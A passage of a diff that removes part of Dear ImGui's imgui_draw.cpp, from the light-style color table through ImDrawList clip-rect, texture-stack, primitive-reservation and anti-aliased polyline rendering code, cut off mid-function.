0.59f, 0.98f, 1.00f); - colors[ImGuiCol_SliderGrab] = ImVec4(0.26f, 0.59f, 0.98f, 0.78f); - colors[ImGuiCol_SliderGrabActive] = ImVec4(0.46f, 0.54f, 0.80f, 0.60f); - colors[ImGuiCol_Button] = ImVec4(0.26f, 0.59f, 0.98f, 0.40f); - colors[ImGuiCol_ButtonHovered] = ImVec4(0.26f, 0.59f, 0.98f, 1.00f); - colors[ImGuiCol_ButtonActive] = ImVec4(0.06f, 0.53f, 0.98f, 1.00f); - colors[ImGuiCol_Header] = ImVec4(0.26f, 0.59f, 0.98f, 0.31f); - colors[ImGuiCol_HeaderHovered] = ImVec4(0.26f, 0.59f, 0.98f, 0.80f); - colors[ImGuiCol_HeaderActive] = ImVec4(0.26f, 0.59f, 0.98f, 1.00f); - colors[ImGuiCol_Separator] = ImVec4(0.39f, 0.39f, 0.39f, 0.62f); - colors[ImGuiCol_SeparatorHovered] = ImVec4(0.14f, 0.44f, 0.80f, 0.78f); - colors[ImGuiCol_SeparatorActive] = ImVec4(0.14f, 0.44f, 0.80f, 1.00f); - colors[ImGuiCol_ResizeGrip] = ImVec4(0.35f, 0.35f, 0.35f, 0.17f); - colors[ImGuiCol_ResizeGripHovered] = ImVec4(0.26f, 0.59f, 0.98f, 0.67f); - colors[ImGuiCol_ResizeGripActive] = ImVec4(0.26f, 0.59f, 0.98f, 0.95f); - colors[ImGuiCol_Tab] = ImLerp(colors[ImGuiCol_Header], colors[ImGuiCol_TitleBgActive], 0.90f); - colors[ImGuiCol_TabHovered] = colors[ImGuiCol_HeaderHovered]; - colors[ImGuiCol_TabActive] = ImLerp(colors[ImGuiCol_HeaderActive], colors[ImGuiCol_TitleBgActive], 0.60f); - colors[ImGuiCol_TabUnfocused] = ImLerp(colors[ImGuiCol_Tab], colors[ImGuiCol_TitleBg], 0.80f); - colors[ImGuiCol_TabUnfocusedActive] = ImLerp(colors[ImGuiCol_TabActive], colors[ImGuiCol_TitleBg], 0.40f); - colors[ImGuiCol_PlotLines] = ImVec4(0.39f, 0.39f, 0.39f, 1.00f); - colors[ImGuiCol_PlotLinesHovered] = ImVec4(1.00f, 0.43f, 0.35f, 1.00f); - colors[ImGuiCol_PlotHistogram] = ImVec4(0.90f, 0.70f, 0.00f, 1.00f); - colors[ImGuiCol_PlotHistogramHovered] = ImVec4(1.00f, 0.45f, 0.00f, 1.00f); - colors[ImGuiCol_TableHeaderBg] = ImVec4(0.78f, 0.87f, 0.98f, 1.00f); - colors[ImGuiCol_TableBorderStrong] = ImVec4(0.57f, 0.57f, 0.64f, 1.00f); // Prefer using Alpha=1.0 here - colors[ImGuiCol_TableBorderLight] = ImVec4(0.68f, 0.68f, 0.74f, 1.00f); // Prefer using Alpha=1.0 here - colors[ImGuiCol_TableRowBg] = ImVec4(0.00f, 0.00f, 0.00f, 0.00f); - colors[ImGuiCol_TableRowBgAlt] = ImVec4(0.30f, 0.30f, 0.30f, 0.09f); - colors[ImGuiCol_TextSelectedBg] = ImVec4(0.26f, 0.59f, 0.98f, 0.35f); - colors[ImGuiCol_DragDropTarget] = ImVec4(0.26f, 0.59f, 0.98f, 0.95f); - colors[ImGuiCol_NavHighlight] = colors[ImGuiCol_HeaderHovered]; - colors[ImGuiCol_NavWindowingHighlight] = ImVec4(0.70f, 0.70f, 0.70f, 0.70f); - colors[ImGuiCol_NavWindowingDimBg] = ImVec4(0.20f, 0.20f, 0.20f, 0.20f); - colors[ImGuiCol_ModalWindowDimBg] = ImVec4(0.20f, 0.20f, 0.20f, 0.35f); -} - -//----------------------------------------------------------------------------- -// [SECTION] ImDrawList -//----------------------------------------------------------------------------- - -ImDrawListSharedData::ImDrawListSharedData() -{ - memset(this, 0, sizeof(*this)); - for (int i = 0; i < IM_ARRAYSIZE(ArcFastVtx); i++) - { - const float a = ((float)i * 2 * IM_PI) / (float)IM_ARRAYSIZE(ArcFastVtx); - ArcFastVtx[i] = ImVec2(ImCos(a), ImSin(a)); - } -} - -void ImDrawListSharedData::SetCircleTessellationMaxError(float max_error) -{ - if (CircleSegmentMaxError == max_error) - return; - CircleSegmentMaxError = max_error; - for (int i = 0; i < IM_ARRAYSIZE(CircleSegmentCounts); i++) - { - const float radius = (float)i; - CircleSegmentCounts[i] = (ImU8)((i > 0) ? IM_DRAWLIST_CIRCLE_AUTO_SEGMENT_CALC(radius, CircleSegmentMaxError) : 0); - } -} - -// Initialize before use in a new frame. We always have a command ready in the buffer. -void ImDrawList::_ResetForNewFrame() -{ - // Verify that the ImDrawCmd fields we want to memcmp() are contiguous in memory. - // (those should be IM_STATIC_ASSERT() in theory but with our pre C++11 setup the whole check doesn't compile with GCC) - IM_ASSERT(IM_OFFSETOF(ImDrawCmd, ClipRect) == 0); - IM_ASSERT(IM_OFFSETOF(ImDrawCmd, TextureId) == sizeof(ImVec4)); - IM_ASSERT(IM_OFFSETOF(ImDrawCmd, VtxOffset) == sizeof(ImVec4) + sizeof(ImTextureID)); - - CmdBuffer.resize(0); - IdxBuffer.resize(0); - VtxBuffer.resize(0); - Flags = _Data->InitialFlags; - memset(&_CmdHeader, 0, sizeof(_CmdHeader)); - _VtxCurrentIdx = 0; - _VtxWritePtr = NULL; - _IdxWritePtr = NULL; - _ClipRectStack.resize(0); - _TextureIdStack.resize(0); - _Path.resize(0); - _Splitter.Clear(); - CmdBuffer.push_back(ImDrawCmd()); - _FringeScale = 1.0f; -} - -void ImDrawList::_ClearFreeMemory() -{ - CmdBuffer.clear(); - IdxBuffer.clear(); - VtxBuffer.clear(); - Flags = ImDrawListFlags_None; - _VtxCurrentIdx = 0; - _VtxWritePtr = NULL; - _IdxWritePtr = NULL; - _ClipRectStack.clear(); - _TextureIdStack.clear(); - _Path.clear(); - _Splitter.ClearFreeMemory(); -} - -ImDrawList* ImDrawList::CloneOutput() const -{ - ImDrawList* dst = IM_NEW(ImDrawList(_Data)); - dst->CmdBuffer = CmdBuffer; - dst->IdxBuffer = IdxBuffer; - dst->VtxBuffer = VtxBuffer; - dst->Flags = Flags; - return dst; -} - -void ImDrawList::AddDrawCmd() -{ - ImDrawCmd draw_cmd; - draw_cmd.ClipRect = _CmdHeader.ClipRect; // Same as calling ImDrawCmd_HeaderCopy() - draw_cmd.TextureId = _CmdHeader.TextureId; - draw_cmd.VtxOffset = _CmdHeader.VtxOffset; - draw_cmd.IdxOffset = IdxBuffer.Size; - - IM_ASSERT(draw_cmd.ClipRect.x <= draw_cmd.ClipRect.z && draw_cmd.ClipRect.y <= draw_cmd.ClipRect.w); - CmdBuffer.push_back(draw_cmd); -} - -// Pop trailing draw command (used before merging or presenting to user) -// Note that this leaves the ImDrawList in a state unfit for further commands, as most code assume that CmdBuffer.Size > 0 && CmdBuffer.back().UserCallback == NULL -void ImDrawList::_PopUnusedDrawCmd() -{ - if (CmdBuffer.Size == 0) - return; - ImDrawCmd* curr_cmd = &CmdBuffer.Data[CmdBuffer.Size - 1]; - if (curr_cmd->ElemCount == 0 && curr_cmd->UserCallback == NULL) - CmdBuffer.pop_back(); -} - -void ImDrawList::AddCallback(ImDrawCallback callback, void* callback_data) -{ - ImDrawCmd* curr_cmd = &CmdBuffer.Data[CmdBuffer.Size - 1]; - IM_ASSERT(curr_cmd->UserCallback == NULL); - if (curr_cmd->ElemCount != 0) - { - AddDrawCmd(); - curr_cmd = &CmdBuffer.Data[CmdBuffer.Size - 1]; - } - curr_cmd->UserCallback = callback; - curr_cmd->UserCallbackData = callback_data; - - AddDrawCmd(); // Force a new command after us (see comment below) -} - -// Compare ClipRect, TextureId and VtxOffset with a single memcmp() -#define ImDrawCmd_HeaderSize (IM_OFFSETOF(ImDrawCmd, VtxOffset) + sizeof(unsigned int)) -#define ImDrawCmd_HeaderCompare(CMD_LHS, CMD_RHS) (memcmp(CMD_LHS, CMD_RHS, ImDrawCmd_HeaderSize)) // Compare ClipRect, TextureId, VtxOffset -#define ImDrawCmd_HeaderCopy(CMD_DST, CMD_SRC) (memcpy(CMD_DST, CMD_SRC, ImDrawCmd_HeaderSize)) // Copy ClipRect, TextureId, VtxOffset - -// Our scheme may appears a bit unusual, basically we want the most-common calls AddLine AddRect etc. to not have to perform any check so we always have a command ready in the stack. -// The cost of figuring out if a new command has to be added or if we can merge is paid in those Update** functions only. -void ImDrawList::_OnChangedClipRect() -{ - // If current command is used with different settings we need to add a new command - ImDrawCmd* curr_cmd = &CmdBuffer.Data[CmdBuffer.Size - 1]; - if (curr_cmd->ElemCount != 0 && memcmp(&curr_cmd->ClipRect, &_CmdHeader.ClipRect, sizeof(ImVec4)) != 0) - { - AddDrawCmd(); - return; - } - IM_ASSERT(curr_cmd->UserCallback == NULL); - - // Try to merge with previous command if it matches, else use current command - ImDrawCmd* prev_cmd = curr_cmd - 1; - if (curr_cmd->ElemCount == 0 && CmdBuffer.Size > 1 && ImDrawCmd_HeaderCompare(&_CmdHeader, prev_cmd) == 0 && prev_cmd->UserCallback == NULL) - { - CmdBuffer.pop_back(); - return; - } - - curr_cmd->ClipRect = _CmdHeader.ClipRect; -} - -void ImDrawList::_OnChangedTextureID() -{ - // If current command is used with different settings we need to add a new command - ImDrawCmd* curr_cmd = &CmdBuffer.Data[CmdBuffer.Size - 1]; - if (curr_cmd->ElemCount != 0 && curr_cmd->TextureId != _CmdHeader.TextureId) - { - AddDrawCmd(); - return; - } - IM_ASSERT(curr_cmd->UserCallback == NULL); - - // Try to merge with previous command if it matches, else use current command - ImDrawCmd* prev_cmd = curr_cmd - 1; - if (curr_cmd->ElemCount == 0 && CmdBuffer.Size > 1 && ImDrawCmd_HeaderCompare(&_CmdHeader, prev_cmd) == 0 && prev_cmd->UserCallback == NULL) - { - CmdBuffer.pop_back(); - return; - } - - curr_cmd->TextureId = _CmdHeader.TextureId; -} - -void ImDrawList::_OnChangedVtxOffset() -{ - // We don't need to compare curr_cmd->VtxOffset != _CmdHeader.VtxOffset because we know it'll be different at the time we call this. - _VtxCurrentIdx = 0; - ImDrawCmd* curr_cmd = &CmdBuffer.Data[CmdBuffer.Size - 1]; - //IM_ASSERT(curr_cmd->VtxOffset != _CmdHeader.VtxOffset); // See #3349 - if (curr_cmd->ElemCount != 0) - { - AddDrawCmd(); - return; - } - IM_ASSERT(curr_cmd->UserCallback == NULL); - curr_cmd->VtxOffset = _CmdHeader.VtxOffset; -} - -int ImDrawList::_CalcCircleAutoSegmentCount(float radius) const -{ - // Automatic segment count - const int radius_idx = (int)(radius + 0.999f); // ceil to never reduce accuracy - if (radius_idx < IM_ARRAYSIZE(_Data->CircleSegmentCounts)) - return _Data->CircleSegmentCounts[radius_idx]; // Use cached value - else - return IM_DRAWLIST_CIRCLE_AUTO_SEGMENT_CALC(radius, _Data->CircleSegmentMaxError); -} - -// Render-level scissoring. This is passed down to your render function but not used for CPU-side coarse clipping. Prefer using higher-level ImGui::PushClipRect() to affect logic (hit-testing and widget culling) -void ImDrawList::PushClipRect(ImVec2 cr_min, ImVec2 cr_max, bool intersect_with_current_clip_rect) -{ - ImVec4 cr(cr_min.x, cr_min.y, cr_max.x, cr_max.y); - if (intersect_with_current_clip_rect) - { - ImVec4 current = _CmdHeader.ClipRect; - if (cr.x < current.x) cr.x = current.x; - if (cr.y < current.y) cr.y = current.y; - if (cr.z > current.z) cr.z = current.z; - if (cr.w > current.w) cr.w = current.w; - } - cr.z = ImMax(cr.x, cr.z); - cr.w = ImMax(cr.y, cr.w); - - _ClipRectStack.push_back(cr); - _CmdHeader.ClipRect = cr; - _OnChangedClipRect(); -} - -void ImDrawList::PushClipRectFullScreen() -{ - PushClipRect(ImVec2(_Data->ClipRectFullscreen.x, _Data->ClipRectFullscreen.y), ImVec2(_Data->ClipRectFullscreen.z, _Data->ClipRectFullscreen.w)); -} - -void ImDrawList::PopClipRect() -{ - _ClipRectStack.pop_back(); - _CmdHeader.ClipRect = (_ClipRectStack.Size == 0) ? _Data->ClipRectFullscreen : _ClipRectStack.Data[_ClipRectStack.Size - 1]; - _OnChangedClipRect(); -} - -void ImDrawList::PushTextureID(ImTextureID texture_id) -{ - _TextureIdStack.push_back(texture_id); - _CmdHeader.TextureId = texture_id; - _OnChangedTextureID(); -} - -void ImDrawList::PopTextureID() -{ - _TextureIdStack.pop_back(); - _CmdHeader.TextureId = (_TextureIdStack.Size == 0) ? (ImTextureID)NULL : _TextureIdStack.Data[_TextureIdStack.Size - 1]; - _OnChangedTextureID(); -} - -// Reserve space for a number of vertices and indices. -// You must finish filling your reserved data before calling PrimReserve() again, as it may reallocate or -// submit the intermediate results. PrimUnreserve() can be used to release unused allocations. -void ImDrawList::PrimReserve(int idx_count, int vtx_count) -{ - // Large mesh support (when enabled) - IM_ASSERT_PARANOID(idx_count >= 0 && vtx_count >= 0); - if (sizeof(ImDrawIdx) == 2 && (_VtxCurrentIdx + vtx_count >= (1 << 16)) && (Flags & ImDrawListFlags_AllowVtxOffset)) - { - // FIXME: In theory we should be testing that vtx_count <64k here. - // In practice, RenderText() relies on reserving ahead for a worst case scenario so it is currently useful for us - // to not make that check until we rework the text functions to handle clipping and large horizontal lines better. - _CmdHeader.VtxOffset = VtxBuffer.Size; - _OnChangedVtxOffset(); - } - - ImDrawCmd* draw_cmd = &CmdBuffer.Data[CmdBuffer.Size - 1]; - draw_cmd->ElemCount += idx_count; - - int vtx_buffer_old_size = VtxBuffer.Size; - VtxBuffer.resize(vtx_buffer_old_size + vtx_count); - _VtxWritePtr = VtxBuffer.Data + vtx_buffer_old_size; - - int idx_buffer_old_size = IdxBuffer.Size; - IdxBuffer.resize(idx_buffer_old_size + idx_count); - _IdxWritePtr = IdxBuffer.Data + idx_buffer_old_size; -} - -// Release the a number of reserved vertices/indices from the end of the last reservation made with PrimReserve(). -void ImDrawList::PrimUnreserve(int idx_count, int vtx_count) -{ - IM_ASSERT_PARANOID(idx_count >= 0 && vtx_count >= 0); - - ImDrawCmd* draw_cmd = &CmdBuffer.Data[CmdBuffer.Size - 1]; - draw_cmd->ElemCount -= idx_count; - VtxBuffer.shrink(VtxBuffer.Size - vtx_count); - IdxBuffer.shrink(IdxBuffer.Size - idx_count); -} - -// Fully unrolled with inline call to keep our debug builds decently fast. -void ImDrawList::PrimRect(const ImVec2& a, const ImVec2& c, ImU32 col) -{ - ImVec2 b(c.x, a.y), d(a.x, c.y), uv(_Data->TexUvWhitePixel); - ImDrawIdx idx = (ImDrawIdx)_VtxCurrentIdx; - _IdxWritePtr[0] = idx; _IdxWritePtr[1] = (ImDrawIdx)(idx+1); _IdxWritePtr[2] = (ImDrawIdx)(idx+2); - _IdxWritePtr[3] = idx; _IdxWritePtr[4] = (ImDrawIdx)(idx+2); _IdxWritePtr[5] = (ImDrawIdx)(idx+3); - _VtxWritePtr[0].pos = a; _VtxWritePtr[0].uv = uv; _VtxWritePtr[0].col = col; - _VtxWritePtr[1].pos = b; _VtxWritePtr[1].uv = uv; _VtxWritePtr[1].col = col; - _VtxWritePtr[2].pos = c; _VtxWritePtr[2].uv = uv; _VtxWritePtr[2].col = col; - _VtxWritePtr[3].pos = d; _VtxWritePtr[3].uv = uv; _VtxWritePtr[3].col = col; - _VtxWritePtr += 4; - _VtxCurrentIdx += 4; - _IdxWritePtr += 6; -} - -void ImDrawList::PrimRectUV(const ImVec2& a, const ImVec2& c, const ImVec2& uv_a, const ImVec2& uv_c, ImU32 col) -{ - ImVec2 b(c.x, a.y), d(a.x, c.y), uv_b(uv_c.x, uv_a.y), uv_d(uv_a.x, uv_c.y); - ImDrawIdx idx = (ImDrawIdx)_VtxCurrentIdx; - _IdxWritePtr[0] = idx; _IdxWritePtr[1] = (ImDrawIdx)(idx+1); _IdxWritePtr[2] = (ImDrawIdx)(idx+2); - _IdxWritePtr[3] = idx; _IdxWritePtr[4] = (ImDrawIdx)(idx+2); _IdxWritePtr[5] = (ImDrawIdx)(idx+3); - _VtxWritePtr[0].pos = a; _VtxWritePtr[0].uv = uv_a; _VtxWritePtr[0].col = col; - _VtxWritePtr[1].pos = b; _VtxWritePtr[1].uv = uv_b; _VtxWritePtr[1].col = col; - _VtxWritePtr[2].pos = c; _VtxWritePtr[2].uv = uv_c; _VtxWritePtr[2].col = col; - _VtxWritePtr[3].pos = d; _VtxWritePtr[3].uv = uv_d; _VtxWritePtr[3].col = col; - _VtxWritePtr += 4; - _VtxCurrentIdx += 4; - _IdxWritePtr += 6; -} - -void ImDrawList::PrimQuadUV(const ImVec2& a, const ImVec2& b, const ImVec2& c, const ImVec2& d, const ImVec2& uv_a, const ImVec2& uv_b, const ImVec2& uv_c, const ImVec2& uv_d, ImU32 col) -{ - ImDrawIdx idx = (ImDrawIdx)_VtxCurrentIdx; - _IdxWritePtr[0] = idx; _IdxWritePtr[1] = (ImDrawIdx)(idx+1); _IdxWritePtr[2] = (ImDrawIdx)(idx+2); - _IdxWritePtr[3] = idx; _IdxWritePtr[4] = (ImDrawIdx)(idx+2); _IdxWritePtr[5] = (ImDrawIdx)(idx+3); - _VtxWritePtr[0].pos = a; _VtxWritePtr[0].uv = uv_a; _VtxWritePtr[0].col = col; - _VtxWritePtr[1].pos = b; _VtxWritePtr[1].uv = uv_b; _VtxWritePtr[1].col = col; - _VtxWritePtr[2].pos = c; _VtxWritePtr[2].uv = uv_c; _VtxWritePtr[2].col = col; - _VtxWritePtr[3].pos = d; _VtxWritePtr[3].uv = uv_d; _VtxWritePtr[3].col = col; - _VtxWritePtr += 4; - _VtxCurrentIdx += 4; - _IdxWritePtr += 6; -} - -// On AddPolyline() and AddConvexPolyFilled() we intentionally avoid using ImVec2 and superfluous function calls to optimize debug/non-inlined builds. -// Those macros expects l-values. -#define IM_NORMALIZE2F_OVER_ZERO(VX,VY) do { float d2 = VX*VX + VY*VY; if (d2 > 0.0f) { float inv_len = 1.0f / ImSqrt(d2); VX *= inv_len; VY *= inv_len; } } while (0) -#define IM_FIXNORMAL2F(VX,VY) do { float d2 = VX*VX + VY*VY; if (d2 < 0.5f) d2 = 0.5f; float inv_lensq = 1.0f / d2; VX *= inv_lensq; VY *= inv_lensq; } while (0) - -// TODO: Thickness anti-aliased lines cap are missing their AA fringe. -// We avoid using the ImVec2 math operators here to reduce cost to a minimum for debug/non-inlined builds. -void ImDrawList::AddPolyline(const ImVec2* points, const int points_count, ImU32 col, ImDrawFlags flags, float thickness) -{ - if (points_count < 2) - return; - - const bool closed = (flags & ImDrawFlags_Closed) != 0; - const ImVec2 opaque_uv = _Data->TexUvWhitePixel; - const int count = closed ? points_count : points_count - 1; // The number of line segments we need to draw - const bool thick_line = (thickness > _FringeScale); - - if (Flags & ImDrawListFlags_AntiAliasedLines) - { - // Anti-aliased stroke - const float AA_SIZE = _FringeScale; - const ImU32 col_trans = col & ~IM_COL32_A_MASK; - - // Thicknesses <1.0 should behave like thickness 1.0 - thickness = ImMax(thickness, 1.0f); - const int integer_thickness = (int)thickness; - const float fractional_thickness = thickness - integer_thickness; - - // Do we want to draw this line using a texture? - // - For now, only draw integer-width lines using textures to avoid issues with the way scaling occurs, could be improved. - // - If AA_SIZE is not 1.0f we cannot use the texture path. - const bool use_texture = (Flags & ImDrawListFlags_AntiAliasedLinesUseTex) && (integer_thickness < IM_DRAWLIST_TEX_LINES_WIDTH_MAX) && (fractional_thickness <= 0.00001f) && (AA_SIZE == 1.0f); - - // We should never hit this, because NewFrame() doesn't set ImDrawListFlags_AntiAliasedLinesUseTex unless ImFontAtlasFlags_NoBakedLines is off - IM_ASSERT_PARANOID(!use_texture || !(_Data->Font->ContainerAtlas->Flags & ImFontAtlasFlags_NoBakedLines)); - - const int idx_count = use_texture ? (count * 6) : (thick_line ? count * 18 : count * 12); - const int vtx_count = use_texture ? (points_count * 2) : (thick_line ? points_count * 4 : points_count * 3); - PrimReserve(idx_count, vtx_count); - - // Temporary buffer - // The first items are normals at each line point, then after that there are either 2 or 4 temp points for each line point - ImVec2* temp_normals = (ImVec2*)alloca(points_count * ((use_texture || !thick_line) ? 3 : 5) * sizeof(ImVec2)); //-V630 - ImVec2* temp_points = temp_normals + points_count; - - // Calculate normals (tangents) for each line segment - for (int i1 = 0; i1 < count; i1++) - { - const int i2 = (i1 + 1) == points_count ? 0 : i1 + 1; - float dx = points[i2].x - points[i1].x; - float dy = points[i2].y - points[i1].y; - IM_NORMALIZE2F_OVER_ZERO(dx, dy); - temp_normals[i1].x = dy; - temp_normals[i1].y = -dx; - } - if (!closed) - temp_normals[points_count - 1] = temp_normals[points_count - 2]; - - // If we are drawing a one-pixel-wide line without a texture, or a textured line of any width, we only need 2 or 3 vertices per point - if (use_texture || !thick_line) - { - // [PATH 1] Texture-based lines (thick or non-thick) - // [PATH 2] Non texture-based lines (non-thick) - - // The width of the geometry we need to draw - this is essentially pixels for the line itself, plus "one pixel" for AA. - // - In the texture-based path, we don't use AA_SIZE here because the +1 is tied to the generated texture - // (see ImFontAtlasBuildRenderLinesTexData() function), and so alternate values won't work without changes to that code. - // - In the non texture-based paths, we would allow AA_SIZE to potentially be != 1.0f with a patch (e.g. fringe_scale patch to - // allow scaling geometry while preserving one-screen-pixel AA fringe). - const float half_draw_size = use_texture ? ((thickness * 0.5f) + 1) : AA_SIZE; - - // If line is not closed, the first and last points need to be generated differently as there are no normals to blend - if (!closed) - { - temp_points[0] = points[0] + temp_normals[0] * half_draw_size; - temp_points[1] = points[0] - temp_normals[0] * half_draw_size; - temp_points[(points_count-1)*2+0] = points[points_count-1] + temp_normals[points_count-1] * half_draw_size; - temp_points[(points_count-1)*2+1] = points[points_count-1] - temp_normals[points_count-1] * half_draw_size; - } - - // Generate the indices to form a number of triangles for each line segment, and the vertices for the line edges - // This takes points n and n+1 and writes into n+1, with the first point in a closed line being generated from the final one (as n+1 wraps) - // FIXME-OPT: Merge the different loops, possibly remove the temporary buffer. - unsigned int idx1 = _VtxCurrentIdx; // Vertex index for start of line segment - for (int i1 = 0; i1 < count; i1++) // i1 is the first point of the line segment - { - const int i2 = (i1 + 1) == points_count ? 0 : i1 + 1; // i2 is the second point of the line segment - const unsigned int idx2 = ((i1 + 1) == points_count) ? _VtxCurrentIdx : (idx1 + (use_texture ? 2 : 3)); // Vertex index for end of segment - - // Average normals - float dm_x = (temp_normals[i1].x + temp_normals[i2].x) * 0.5f; - float dm_y = (temp_normals[i1].y + temp_normals[i2].y) * 0.5f; - IM_FIXNORMAL2F(dm_x, dm_y); - dm_x *= half_draw_size; // dm_x, dm_y are offset to the outer edge of the AA area - dm_y *= half_draw_size; - - // Add temporary vertexes for the outer edges - ImVec2* out_vtx = &temp_points[i2 * 2]; - out_vtx[0].x = points[i2].x + dm_x; - out_vtx[0].y = points[i2].y + dm_y; - out_vtx[1].x = points[i2].x - dm_x; - out_vtx[1].y = points[i2].y - dm_y; - - if (use_texture) - { - // Add indices for two triangles - _IdxWritePtr[0] = (ImDrawIdx)(idx2 + 0); _IdxWritePtr[1] = (ImDrawIdx)(idx1 + 0); _IdxWritePtr[2] = (ImDrawIdx)(idx1 + 1); // Right tri - _IdxWritePtr[3] = (ImDrawIdx)(idx2 + 1); _IdxWritePtr[4] = (ImDrawIdx)(idx1 + 1); _IdxWritePtr[5] = (ImDrawIdx)(idx2 + 0); // Left tri - _IdxWritePtr += 6; - } - else - { - // Add indexes for four triangles - _IdxWritePtr[0] = (ImDrawIdx)(idx2 + 0); _IdxWritePtr[1] = (ImDrawIdx)(idx1 + 0); _IdxWritePtr[2] = (ImDrawIdx)(idx1 + 2); // Right tri 1 - _IdxWritePtr[3] = (ImDrawIdx)(idx1 + 2); _IdxWritePtr[4] = (ImDrawIdx)(idx2 + 2); _IdxWritePtr[5] = (ImDrawIdx)(idx2 + 0); // Right tri 2 - _IdxWritePtr[6] = (ImDrawIdx)(idx2 + 1); _IdxWritePtr[7] = (ImDrawIdx)(idx1 + 1); _IdxWritePtr[8] = (ImDrawIdx)(idx1 + 0); // Left tri 1 - _IdxWritePtr[9] = (ImDrawIdx)(idx1 + 0); _IdxWritePtr[10] = (ImDrawIdx)(idx2 + 0); _IdxWritePtr[11] = (ImDrawIdx)(idx2 + 1); // Left tri 2 - _IdxWritePtr += 12; - } - - idx1 = idx2; - } - - // Add vertexes for each point on the line - if (use_texture) - { - // If we're using textures we only need to emit the left/right edge vertices - ImVec4 tex_uvs = _Data->TexUvLines[integer_thickness]; - /*if (fractional_thickness != 0.0f) // Currently always zero when use_texture==false! - { - const ImVec4 tex_uvs_1 = _Data->TexUvLines[integer_thickness + 1]; - tex_uvs.x = tex_uvs.x + (tex_uvs_1.x - tex_uvs.x) * fractional_thickness; // inlined ImLerp() - tex_uvs.y = tex_uvs.y + (tex_uvs_1.y - tex_uvs.y) * fractional_thickness; - tex_uvs.z = tex_uvs.z + (tex_uvs_1.z - tex_uvs.z) * fractional_thickness; - tex_uvs.w = tex_uvs.w + (tex_uvs_1.w - tex_uvs.w) * fractional_thickness; - }*/ - ImVec2 tex_uv0(tex_uvs.x, tex_uvs.y); - ImVec2 tex_uv1(tex_uvs.z, tex_uvs.w); - for (int i = 0; i < points_count; i++) - { - _VtxWritePtr[0].pos = temp_points[i * 2 + 0]; _VtxWritePtr[0].uv = tex_uv0; _VtxWritePtr[0].col = col; // Left-side outer edge - _VtxWritePtr[1].pos = temp_points[i * 2 + 1]; _VtxWritePtr[1].uv = tex_uv1; _VtxWritePtr[1].col = col; // Right-side outer edge - _VtxWritePtr += 2; - } - } - else - { - // If we're not using a texture, we need the center vertex as well - for (int i = 0; i < points_count; i++) - { - _VtxWritePtr[0].pos = points[i]; _VtxWritePtr[0].uv = opaque_uv; _VtxWritePtr[0].col = col; // Center of line - _VtxWritePtr[1].pos = temp_points[i * 2 + 0]; _VtxWritePtr[1].uv = opaque_uv; _VtxWritePtr[1].col = col_trans; // Left-side outer edge - _VtxWritePtr[2].pos = temp_points[i * 2 + 1]; _VtxWritePtr[2].uv = opaque_uv; _VtxWritePtr[2].col = col_trans; // Right-side outer edge - _VtxWritePtr += 3; - } - } - } - else - { - // [PATH 2] Non texture-based lines (thick): we need to draw the solid line core and thus require four vertices per point - const float half_inner_thickness = (thickness - AA_SIZE) * 0.5f; - - // If line is not closed, the first and last points need to be generated differently as there are no normals to blend - if (!closed) - { - const int points_last = points_count - 1; - temp_points[0] = points[0] + temp_normals[0] * (half_inner_thickness + AA_SIZE); - temp_points[1] = points[0] + temp_normals[0] * (half_inner_thickness); - temp_points[2] = points[0] - temp_normals[0] * (half_inner_thickness); - temp_points[3] = points[0] - temp_normals[0] * (half_inner_thickness + AA_SIZE); - temp_points[points_last * 4 + 0] = points[points_last] + temp_normals[points_last] * (half_inner_thickness + AA_SIZE); - temp_points[points_last * 4 + 1] = points[points_last] + temp_normals[points_last] * (half_inner_thickness); - temp_points[points_last * 4 + 2] = points[points_last] - temp_normals[points_last] * (half_inner_thickness); - temp_points[points_last * 4 + 3] = points[points_last] - temp_normals[points_last] * (half_inner_thickness + AA_SIZE); - } - - // Generate the indices to form a number of triangles for each line segment, and the vertices for the line edges - // This takes points n and n+1 and writes into n+1, with the first point in a closed line being generated from the final one (as n+1 wraps) - // FIXME-OPT: Merge the different loops, possibly remove the temporary buffer. - unsigned int idx1 = _VtxCurrentIdx; // Vertex index for start of line segment - for (int i1 = 0; i1 < count; i1++) // i1 is the first point of the line segment - { - const int i2 = (i1 + 1) == points_count ? 0 : (i1 + 1); // i2 is the second point of the line segment - const unsigned int idx2 = (i1 + 1) == points_count ? _VtxCurrentIdx : (idx1 + 4); // Vertex index for end of segment - - // Average normals - float dm_x = (temp_normals[i1].x + temp_normals[i2].x) * 0.5f; - float dm_y = (temp_normals[i1].y + temp_normals[i2].y) * 0.5f; - IM_FIXNORMAL2F(dm_x, dm_y); - float dm_out_x = dm_x * (half_inner_thickness + AA_SIZE); - float dm_out_y = dm_y * (half_inner_thickness + AA_SIZE); - float dm_in_x = dm_x * half_inner_thickness; - float dm_in_y = dm_y * half_inner_thickness; - - // Add temporary vertices - ImVec2* out_vtx = &temp_points[i2 * 4]; - out_vtx[0].x = points[i2].x + dm_out_x; - out_vtx[0].y = points[i2].y + dm_out_y; - out_vtx[1].x = points[i2].x + dm_in_x; - out_vtx[1].y = points[i2].y + dm_in_y; - out_vtx[2].x = points[i2].x - dm_in_x; - out_vtx[2].y = points[i2].y - dm_in_y; - out_vtx[3].x = points[i2].x - dm_out_x; - out_vtx[3].y = points[i2].y - dm_out_y; - - // Add indexes - _IdxWritePtr[0] = (ImDrawIdx)(idx2 + 1); _IdxWritePtr[1] = (ImDrawIdx)(idx1 + 1); _IdxWritePtr[2] = (ImDrawIdx)(idx1 + 2); - _IdxWritePtr[3] = (ImDrawIdx)(idx1 + 2); _IdxWritePtr[4] = (ImDrawIdx)(idx2 + 2); _IdxWritePtr[5] = (ImDrawIdx)(idx2 + 1); - _IdxWritePtr[6] = (ImDrawIdx)(idx2 + 1); _IdxWritePtr[7] = (ImDrawIdx)(idx1 + 1); _IdxWritePtr[8] = (ImDrawIdx)(idx1 + 0); - _IdxWritePtr[9] = (ImDrawIdx)(idx1 + 0); _IdxWritePtr[10] = (ImDrawIdx)(idx2 + 0); _IdxWritePtr[11] = (ImDrawIdx)(idx2 + 1); - _IdxWritePtr[12] = (ImDrawIdx)(idx2 + 2); _IdxWritePtr[13] = (ImDrawIdx)(idx1 + 2); _IdxWritePtr[14] = (ImDrawIdx)(idx1 + 3); - _IdxWritePtr[15] = (ImDrawIdx)(idx1 + 3); _IdxWritePtr[16] = (ImDrawIdx)(idx2 + 3); _IdxWritePtr[17] = (ImDrawIdx)(idx2 + 2); - _IdxWritePtr += 18; - - idx1 = idx2; - } - - // Add vertices - for (int i = 0; i < points_count; i++) - { - _VtxWritePtr[0].pos = temp_points[i * 4 + 0]; _VtxWritePtr[0].uv = opaque_uv; 